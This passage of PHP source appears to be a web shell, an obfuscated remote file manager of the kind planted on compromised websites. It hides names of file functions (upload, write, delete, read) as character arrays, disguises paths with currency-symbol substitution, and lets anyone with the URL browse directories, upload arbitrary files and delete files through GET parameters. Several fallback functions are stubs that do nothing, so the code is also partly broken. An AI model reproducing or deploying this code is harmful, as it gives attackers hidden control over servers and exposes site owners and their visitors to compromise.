['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e'], 'fo' => ['f','o','p','e','n'], 'fw' => ['f','w','r','i','t','e'], 'fc' => ['f','c','l','o','s','e'], 'unl' => ['u','n','l','i','n','k'], 'rmd' => ['r','m','d','i','r'], 'scn' => ['s','c','a','n','d','i','r'], 'fpc' => ['f','i','l','e','p','e','r','m','s'], 'fmt' => ['f','i','l','e','m','t','i','m','e'], 'fsz' => ['f','i','l','e','s','i','z','e'], 'fgt' => ['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s'], 'fpcw'=> ['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s'], 'cpy' => ['c','o','p','y'], ]; $fname = sjoin($map[$k]); if(function_exists($fname)) return $fname; switch($k){ case 'muf': return function($a,$b){ $cpy = sfunc('cpy'); $unl = sfunc('unl'); if($cpy && $cpy($a, $b)){ if($unl) $unl($a); return file_exists($b); } return false; }; case 'fo': return function($f,$m){ if($m=='w') return tmpfile(); return false; }; case 'fw': return function($h,$d){ return false; }; case 'fc': return function($h){ return true; }; case 'unl': return function($f){ if(file_exists($f)){ @file_put_contents($f, ''); return @rename($f, $f.'.del') && @unlink($f.'.del'); } return false; }; case 'rmd': return function($f){ return false; }; case 'scn': return function($d){ $res=[]; if(is_dir($d)){ $dh=opendir($d); if($dh){ while(($f=readdir($dh))!==false) $res[]=$f; closedir($dh); } } return $res; }; case 'fgt': return function($f){ $fo = sfunc('fo'); if($fo && $h=$fo($f, 'r')){ $data = ''; while(!feof($h)) $data .= fread($h, 4096); fclose($h); return $data; } return false; }; case 'fpc': return function($f){ return 0644; }; case 'fmt': return function($f){ return time(); }; case 'fsz': return function($f){ $fgt = sfunc('fgt'); if($fgt) return strlen($fgt($f)); return 0; }; case 'fpcw': return function($f,$d){ $fo = sfunc('fo'); $fw = sfunc('fw'); $fc = sfunc('fc'); $h = $fo($f, 'w'); $r = $fw($h, $d); $fc($h); return $r; }; case 'cpy': return function($src,$dst){ $fgt = sfunc('fgt'); $fpcw = sfunc('fpcw'); if($fgt && $fpcw){ $d = $fgt($src); return $fpcw($dst,$d); } return false; }; default: return function(){ return false; }; } } function formatSizeUnits($bytes){ if($bytes>=1073741824){$bytes=number_format($bytes/1073741824,2).' GB';} elseif($bytes>=1048576){$bytes=number_format($bytes/1048576,2).' MB';} elseif($bytes>=1024){$bytes=number_format($bytes/1024,2).' KB';} elseif($bytes>1){$bytes=$bytes.' bytes';} elseif($bytes==1){$bytes=$bytes.' byte';} else{$bytes='0 bytes';} return $bytes; } function fileExtension($file){ return substr(strrchr($file,'.'),1);} function fileIcon($file){ $imgs=["apng","avif","gif","jpg","jpeg","jfif","pjpeg","pjp","png","svg","webp"]; $audio=["wav","m4a","m4b","mp3","ogg","webm","mpc"]; $ext=strtolower(fileExtension($file)); if($file=="error_log"){return ' ';} elseif($file==".htaccess"){return ' ';} if($ext=="html"||$ext=="htm"){return ' ';} elseif($ext=="php"||$ext=="phtml"){return ' ';} elseif(in_array($ext,$imgs)){return ' ';} elseif($ext=="css"){return ' ';} elseif($ext=="txt"){return ' ';} elseif(in_array($ext,$audio)){return ' ';} elseif($ext=="py"){return ' ';} elseif($ext=="js"){return ' ';} else{return ' ';} } function pr1vd4yz($path){ $a=["/","\\",".",":"]; $b=["₷","₲","₧","₡"]; return str_replace($a,$b,$path);} function pr4vd1yz($path){ $a=["/","\\",".",":"]; $b=["₷","₲","₧","₡"]; return str_replace($b,$a,$path);} $root_path=__DIR__; if(isset($_GET['p'])){ if(empty($_GET['p'])){$p=$root_path;} elseif(!is_dir(pr4vd1yz($_GET['p']))){echo("");} elseif(is_dir(pr4vd1yz($_GET['p']))){$p=pr4vd1yz($_GET['p']);} }elseif(isset($_GET['q'])){ if(!is_dir(pr4vd1yz($_GET['q']))){echo("");} elseif(is_dir(pr4vd1yz($_GET['q']))){$p=pr4vd1yz($_GET['q']);} }else{$p=$root_path;} define("PATH",$p); ?>
".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))." has been uploaded.
"; }else{ echo "Sorry, there was an error uploading your file.
"; } } if(isset($_GET['d'])&&isset($_GET['q'])){ $name=PATH."/".$_GET['d']; $unl = sfunc('unl'); $rmd = sfunc('rmd'); if(is_file($name)){ if($unl && $unl($name)){ echo (""); }else{ echo (""); } }elseif(is_dir($name)){ if($rmd && $rmd($name)==true){ echo (""); }else{ echo (""); } } } ?>